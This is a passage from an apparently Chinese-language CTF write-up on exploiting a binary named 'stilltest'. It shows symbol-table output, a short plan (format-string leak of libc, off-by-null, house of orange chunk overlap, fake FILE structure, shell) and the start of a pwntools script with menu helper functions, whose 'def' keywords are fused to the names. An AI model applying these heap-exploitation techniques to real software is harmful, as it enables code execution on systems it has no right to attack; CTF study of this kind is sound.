$ readelf -s stilltest Symbol table '.dynsym' contains 15 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2) 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2) 9: 0000000000000000 0 NOTYPE WEAK DEFAULT UND gmon_start 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sprintf@GLIBC_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2) 12: 0000000000601080 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (2) 13: 0000000000601090 8 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.2.5 (2) 14: 00000000006010a0 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (2)
分析它的伪代码,发现有一个off-by-null,并且最开始有一个格式化字符串漏洞。但是限制开辟堆块大小,必须为0x80以上的堆块。然后这一题有两种解法,一种是house of orange,还有一种就是unlink。unlink比较简单。说一下unlink的思路吧,最初泄露出pie,然后就是常规unlink。下面是我用house of orange做的。最初泄露__libc_start_main,然后确定libc基址。然后利用house of orange,造成堆块重叠,最后构造fake_file,然后getshell。
defcreate(size,index,content): menu(1) p.sendlineafter('Enter the index you want to create (0-10):',str(index)) p.sendlineafter("Enter a size:\n",str(size)) p.sendlineafter('Enter the content: \n',content)
deffree(index): menu(2) p.sendlineafter("Enter an index:\n",str(index)) defedit(index,content): menu(4) p.sendlineafter("Enter an index:\n",str(index)) p.sendlineafter('Enter the content: \n',content)